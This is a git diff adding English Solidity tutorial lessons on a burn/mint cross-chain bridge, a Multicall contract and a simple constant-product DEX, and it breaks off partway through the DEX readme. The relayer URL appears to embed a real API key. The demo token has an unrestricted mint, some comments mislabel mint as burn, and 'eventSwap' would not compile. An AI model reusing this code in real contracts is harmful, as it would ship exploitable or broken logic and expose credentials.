+ try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); diff --git a/Languages/en/54_CrossChainBridge/img/54-1.png b/Languages/en/54_CrossChainBridge/img/54-1.png new file mode 100644 index 000000000..17da1d2e2 Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-1.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-2.png b/Languages/en/54_CrossChainBridge/img/54-2.png new file mode 100644 index 000000000..ab716afdf Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-2.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-3.png b/Languages/en/54_CrossChainBridge/img/54-3.png new file mode 100644 index 000000000..64e01f618 Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-3.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-4.png b/Languages/en/54_CrossChainBridge/img/54-4.png new file mode 100644 index 000000000..228de15fc Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-4.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-5.png b/Languages/en/54_CrossChainBridge/img/54-5.png new file mode 100644 index 000000000..189cde78f Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-5.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-6.png b/Languages/en/54_CrossChainBridge/img/54-6.png new file mode 100644 index 000000000..6b853510f Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-6.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-7.png b/Languages/en/54_CrossChainBridge/img/54-7.png new file mode 100644 index 000000000..437850cbf Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-7.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-8.png b/Languages/en/54_CrossChainBridge/img/54-8.png new file mode 100644 index 000000000..c03a92f0a Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-8.png differ diff --git a/Languages/en/54_CrossChainBridge/readme.md b/Languages/en/54_CrossChainBridge/readme.md new file mode 100644 index 000000000..5304e1d99 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/readme.md @@ -0,0 +1,198 @@ +--- +title: 54. Cross-chain bridge +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Minimalist introduction to Solidity: 54. Cross-chain bridge + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +----- + +In this lecture, we introduce cross-chain bridges, infrastructure that can transfer assets from one blockchain to another, and implement a simple cross-chain bridge. + + +## 1. What is a cross-chain bridge? + +A cross-chain bridge is a blockchain protocol that allows digital assets and information to be moved between two or more blockchains. For example, an ERC20 token running on the Ethereum mainnet can be transferred to other Ethereum-compatible sidechains or independent chains through cross-chain bridges. + +At the same time, cross-chain bridges are not natively supported by the blockchain, and cross-chain operations require a trusted third party to perform, which also brings risks. In the past two years, attacks on cross-chain bridges have caused more than **$2 billion** in user asset losses. + +## 2. Types of cross-chain bridges + +There are three main types of cross-chain bridges: + +- **Burn/Mint**: Destroy (burn) tokens on the source chain, and then create (mint) the same number of tokens on the target chain. The advantage of this method is that the total supply of tokens remains unchanged, but the cross-chain bridge needs to have the permission to mint the tokens, which is suitable for project parties to build their own cross-chain bridges. + +![](./img/54-1.png) + +- **Stake/Mint**: Lock (stake) tokens on the source chain, and then create (mint) the same number of tokens (certificates) on the target chain. Tokens on the source chain are locked and unlocked when the tokens are moved from the target chain back to the source chain. This is a solution commonly used by cross-chain bridges. It does not require any permissions, but the risk is also high. When the assets of the source chain are hacked, the credentials on the target chain will become air. + + ![](./img/54-2.png) + +- **Stake/Unstake**: Lock (stake) tokens on the source chain, and then release (unstake) the same number of tokens on the target chain. The tokens on the target chain can be exchanged back to the tokens on the source chain at any time. currency. This method requires the cross-chain bridge to have locked tokens on both chains, and the threshold is high. Users generally need to be encouraged to lock up on the cross-chain bridge. + + ![](./img/54-3.png) + +## 3. Build a simple cross-chain bridge + +In order to better understand this cross-chain bridge, we will build a simple cross-chain bridge and implement ERC20 token transfer between the Goerli test network and the Sepolia test network. We use the burn/mint method, the tokens on the source chain will be destroyed and created on the target chain. This cross-chain bridge consists of a smart contract (deployed on both chains) and an Ethers.js script. + +> **Please note**, this is a very simple cross-chain bridge implementation and is for educational purposes only. It does not deal with some possible problems, such as transaction failure, chain reorganization, etc. In a production environment, it is recommended to use a professional cross-chain bridge solution or other fully tested and audited frameworks. + +### 3.1 Cross-chain token contract + +First, we need to deploy an ERC20 token contract, `CrossChainToken`, on the Goerli and Sepolia testnets. This contract defines the name, symbol, and total supply of the token, as well as a `bridge()` function for cross-chain transfers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} +``` + +This contract has three main functions: + +- `constructor()`: The constructor, which will be called once when deploying the contract, is used to initialize the name, symbol and total supply of the token. + +- `bridge()`: The user calls this function to perform cross-chain transfer. It will destroy the number of tokens specified by the user and release the `Bridge` event. + +- `mint()`: Only the owner of the contract can call this function to handle cross-chain events and release the `Mint` event. When the user calls the `bridge()` function on another chain to destroy the token, the script will listen to the `Bridge` event and mint the token for the user on the target chain. + +### 3.2 Cross-chain script + +With the token contract in place, we need a server to handle cross-chain events. We can write an ethers.js script (v6 version) to listen to the `Bridge` event, and when the event is triggered, create the same number of tokens on the target chain. If you don’t know Ethers.js, you can read [WTF Ethers Minimalist Tutorial](https://github.com/WTFAcademy/WTF-Ethers). + +```javascript +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); +``` + +## Remix Reappearance + +1. Deploy the `CrossChainToken` contract on the Goerli and Sepolia test chains respectively. The contract will automatically mint 10,000 tokens for us. + + ![](./img/54-4.png) + +2. Complete the RPC node URL and administrator private key in the cross-chain script `crosschain.js`, fill in the token contract addresses deployed in Goerli and Sepolia into the corresponding locations, and run the script. + +3. Call the `bridge()` function of the token contract on the Goerli chain to cross-chain 100 tokens. + + ![](./img/54-6.png) + +4. The script listens to the cross-chain event and mints 100 tokens on the Sepolia chain. + + ![](./img/54-7.png) + +5. Call `balance()` on the Sepolia chain to check the balance, and find that the token balance has changed to 10,100. The cross-chain is successful! + + ![](./img/54-8.png) + +## Summary + +In this lecture, we introduced the cross-chain bridge, which allows digital assets and information to be moved between two or more blockchains, making it convenient for users to operate assets on multiple chains. At the same time, it also carries great risks. Attacks on cross-chain bridges in the past two years have caused more than **2 billion US dollars** in user asset losses. In this tutorial, we build a simple cross-chain bridge and implement ERC20 token transfer between Goerli testnet and Sepolia testnet. I believe that through this tutorial, you will have a deeper understanding of cross-chain bridges. diff --git a/Languages/en/55_MultiCall/MCERC20.sol b/Languages/en/55_MultiCall/MCERC20.sol new file mode 100644 index 000000000..3da8a9c69 --- /dev/null +++ b/Languages/en/55_MultiCall/MCERC20.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/en/55_MultiCall/MultiCall.sol b/Languages/en/55_MultiCall/MultiCall.sol new file mode 100644 index 000000000..db806b197 --- /dev/null +++ b/Languages/en/55_MultiCall/MultiCall.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + + /// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} diff --git a/Languages/en/55_MultiCall/img/55-1.png b/Languages/en/55_MultiCall/img/55-1.png new file mode 100644 index 000000000..cc5424e37 Binary files /dev/null and b/Languages/en/55_MultiCall/img/55-1.png differ diff --git a/Languages/en/55_MultiCall/img/55-2 b/Languages/en/55_MultiCall/img/55-2 new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/Languages/en/55_MultiCall/img/55-2 @@ -0,0 +1 @@ + diff --git a/Languages/en/55_MultiCall/img/55-2.png b/Languages/en/55_MultiCall/img/55-2.png new file mode 100644 index 000000000..475f2c9ab Binary files /dev/null and b/Languages/en/55_MultiCall/img/55-2.png differ diff --git a/Languages/en/55_MultiCall/readme.md b/Languages/en/55_MultiCall/readme.md new file mode 100644 index 000000000..fd23e04c7 --- /dev/null +++ b/Languages/en/55_MultiCall/readme.md @@ -0,0 +1,134 @@ +--- +title: 55. Multiple calls +tags: + - solidity + - erc20 +--- + +# WTF Minimalist introduction to Solidity: 55. Multiple calls + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we will introduce the MultiCall multi-call contract, which is designed to execute multiple function calls in one transaction, which can significantly reduce transaction fees and improve efficiency. + +## MultiCall + +In Solidity, the MultiCall (multiple call) contract is designed to allow us to execute multiple function calls in one transaction. Its advantages are as follows: + +1. Convenience: MultiCall allows you to call different functions of different contracts in one transaction, and these calls can also use different parameters. For example, you can query the ERC20 token balances of multiple addresses at one time. + +2. Save gas: MultiCall can combine multiple transactions into multiple calls in one transaction, thereby saving gas. + +3. Atomicity: MultiCall allows users to perform all operations in one transaction, ensuring that all operations either succeed or fail, thus maintaining atomicity. For example, you can conduct a series of token transactions in a specific order. + +## MultiCall Contract + +Next, let’s study the MultiCall contract, which is simplified from MakerDAO’s [MultiCall](https://github.com/mds1/multicall/blob/main/src/Multicall3.sol). + +The MultiCall contract defines two structures: + +- `Call`: This is a call structure that contains the target contract `target` to be called, a flag `allowFailure` indicating whether the call failure is allowed, and the bytecode `call data` to be called. + +- `Result`: This is a result structure that contains the flag `success` that indicates whether the call was successful and the bytecode returned by the call `return data`. + +The contract contains only one function, which is used to perform multiple calls: + +- `multicall()`: The parameter of this function is an array composed of Call structures. This can ensure that the length of the target and data passed in are consistent. The function performs multiple calls through a loop and rolls back the transaction if the call fails. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call structure, including target contract target, whether to allow call failure allowFailure, and call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result structure, including whether the call is successful and return data + struct Result { + bool success; + bytes returnData; + } + +/// @notice merges multiple calls (supporting different contracts/different methods/different parameters) into one call + /// @param calls Array composed of Call structure + /// @return returnData An array composed of Result structure + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // Called sequentially in the loop + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // If calli.allowFailure and result.success are both false, revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} +``` + +## Remix Reappearance + +1. We first deploy a very simple ERC20 token contract `MCERC20` and record the contract address. + + ```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.19; + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + + contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } + } + ``` + +2. Deploy the `MultiCall` contract. + +3. Get the `calldata` to be called. We will mint 50 and 100 units of tokens respectively for 2 addresses. You can fill in the parameters of `mint()` on the remix call page, and then click the **Calldata** button to copy the encoded calldata. Come down. example: + + ```solidity + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + amount: 50 + calldata: 0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032 + ``` + + .[](./img/55-1.png) + +If you don’t understand `calldata`, you can read WTF Solidity [Lecture 29]. + +4. Use the `multicall()` function of `MultiCall` to call the `mint()` function of the ERC20 token contract to mint 50 and 100 units of tokens respectively to the two addresses. example: + ```solidity + calls: [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x40c10f19000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000000000000000000000000000000000000000000064"]] + ``` + +5. Use the `multicall()` function of `MultiCall` to call the `balanceOf()` function of the ERC20 token contract to query the balance of the two addresses just minted. The selector of the `balanceOf()` function is `0x70a08231`. example: + + ```solidity + [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x70a08231000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2"]] + ``` + + The return value of the call can be viewed in `decoded output`. The balances of the two addresses are `0x0000000000000000000000000000000000000000000000000000000000000000032` and `0x00000000000000000000000000000 00000000000000000000000000000000000064`, that is, 50 and 100, the call was successful! + .[](./img/55-2.png) + +## Summary + +In this lecture, we introduced the MultiCall multi-call contract, which allows you to execute multiple function calls in one transaction. It should be noted that different MultiCall contracts have some differences in parameters and execution logic. Please read the source code carefully when using them. diff --git a/Languages/en/56_DEX/SimpleSwap.sol b/Languages/en/56_DEX/SimpleSwap.sol new file mode 100644 index 000000000..347a9da1c --- /dev/null +++ b/Languages/en/56_DEX/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + eventSwap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Get the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Compute square roots babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + +// Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} diff --git a/Languages/en/56_DEX/img/56-1.png b/Languages/en/56_DEX/img/56-1.png new file mode 100644 index 000000000..3189e4f52 Binary files /dev/null and b/Languages/en/56_DEX/img/56-1.png differ diff --git a/Languages/en/56_DEX/readme.md b/Languages/en/56_DEX/readme.md new file mode 100644 index 000000000..3869dd6d2 --- /dev/null +++ b/Languages/en/56_DEX/readme.md @@ -0,0 +1,444 @@ +--- +title: 56. Decentralized Exchange +tags: + - solidity + - erc20 + - Defi +--- + +# WTF A simple introduction to Solidity: 56. Decentralized exchange + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +----- + +In this lecture, we will introduce the Constant Product Automated Market Maker (CPAMM), which is the core mechanism of decentralized exchanges and is used by a series of DEXs such as Uniswap and PancakeSwap. The teaching contract is simplified from the [Uniswap-v2](https://github.com/Uniswap/v2-core) contract and includes the core functions of CPAMM. + +## Automatic market maker + +An Automated Market Maker (AMM) is an algorithm, or a smart contract that runs on the blockchain, which allows decentralized transactions between digital assets. The introduction of AMM has created a new trading method that does not require traditional buyers and sellers to match orders. Instead, a liquidity pool is created through a preset mathematical formula (such as a constant product formula), allowing users to trade at any time. Trading. + +![](./img/56-1.png) + +Next, we will introduce AMM to you, taking the markets of Coke ($COLA) and US Dollar ($USD) as examples. For convenience, we specify the symbols: $x$ and $y$ respectively represent the total amount of cola and dollars in the market, $\Delta x$ and $\Delta y$ respectively represent the changes in cola and dollars in a transaction, $L$ and $\Delta L$ represent total liquidity and changes in liquidity. + +### Constant Sum Automated Market Maker + +The Constant Sum Automated Market Maker (CSAMM) is the simplest automated market maker model, and we will start with it. Its constraints during transactions are: + +$$k=x+y$$ + +where $k$ is a constant. That is, the sum of the quantities of colas and dollars in the market remains the same before and after the trade. For example, there are 10 bottles of Coke and $10 in the market. At this time, $k=20$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange my $2 for a Coke. The total number of dollars in the post-trade market becomes 12. According to the constraint $k=20$, there are 8 bottles of Coke in the post-trade market at a price of $1/bottle. I got 2 bottles of coke in the deal for $1/bottle. + +The advantage of CSAMM is that it can ensure that the relative price of tokens remains unchanged. This is very important in stable currency exchange. Everyone hopes that 1 USDT can always be exchanged for 1 USDC. But its shortcomings are also obvious. Its liquidity is easily exhausted: I only need $10 to exhaust the liquidity of Coke in the market, and other users who want to drink Coke will not be able to trade. + +Below we introduce the constant product automatic market maker with "unlimited" liquidity. + +### Constant product automatic market maker + +Constant Product Automatic Market Maker (CPAMM) is the most popular automatic market maker model and was first adopted by Uniswap. Its constraints during transactions are: + +$$k=x*y$$ + +where $k$ is a constant. That is, the product of the quantities of colas and dollars in the market remains the same before and after the trade. In the same example, there are 10 bottles of Coke and $10 in the market. At this time, $k=100$, and the price of Coke is $1/bottle. I was thirsty and wanted to exchange $10 for a Coke. If it were in CSAMM, my transaction would be in exchange for 10 bottles of Coke and deplete the liquidity of Cokes in the market. But in CPAMM, the total amount of dollars in the post-trade market becomes 20. According to the constraint $k=100$, there are 5 bottles of Coke in the post-trade market with a price of $20/5 = 4$ dollars/bottle. I got 5 bottles of Coke in the deal at a price of $10/5 = $2$ per bottle. + +The advantage of CPAMM is that it has "unlimited" liquidity: the relative price of tokens will change with buying and selling, and the scarcer tokens will have a higher relative price to avoid exhaustion of liquidity. In the example above, the transaction increases the price of Coke from $1/bottle to $4/bottle, thus preventing Coke on the market from being bought out. + +Next, let us build a minimalist decentralized exchange based on CPAMM. + +## Decentralized exchange + +Next, we use smart contracts to write a decentralized exchange `SimpleSwap` to support users to trade a pair of tokens. + +`SimpleSwap` inherits the ERC20 token standard and facilitates recording of liquidity provided by liquidity providers. In the constructor, we specify a pair of token addresses `token0` and `token1`. The exchange only supports this pair of tokens. `reserve0` and `reserve1` record the reserve amount of tokens in the contract. + +```solidity +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + //Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +There are two main types of participants in the exchange: Liquidity Provider (LP) and Trader. Below we implement the functions of these two parts respectively. + +### Liquidity Provision + +Liquidity providers provide liquidity to the market, allowing traders to obtain better quotes and liquidity, and charge a certain fee. + +First, we need to implement the functionality to add liquidity. When a user adds liquidity to the token pool, the contract records the added LP share. According to Uniswap V2, LP share is calculated as follows: + +1. When liquidity is added to the token pool for the first time, the LP share $\Delta{L}$ is determined by the square root of the product of the number of added tokens: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +1. When liquidity is not added for the first time, the LP share is determined by the ratio of the number of added tokens to the pool’s token reserves (the smaller of the two tokens): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +Because the `SimpleSwap` contract inherits the ERC20 token standard, after calculating the LP share, the share can be minted to the user in the form of tokens. + +The following `addLiquidity()` function implements the function of adding liquidity. The main steps are as follows: + +1. To transfer the tokens added by the user to the contract, the user needs to authorize the contract in advance. +2. Calculate the added liquidity share according to the formula and check the number of minted LPs. +3. Update the token reserve of the contract. +4. Mint LP tokens for liquidity providers. +5. Release the `Mint` event. + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// Add liquidity, transfer tokens, and mint LP +// @param amount0Desired The amount of token0 added +// @param amount1Desired The amount of token1 added +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint 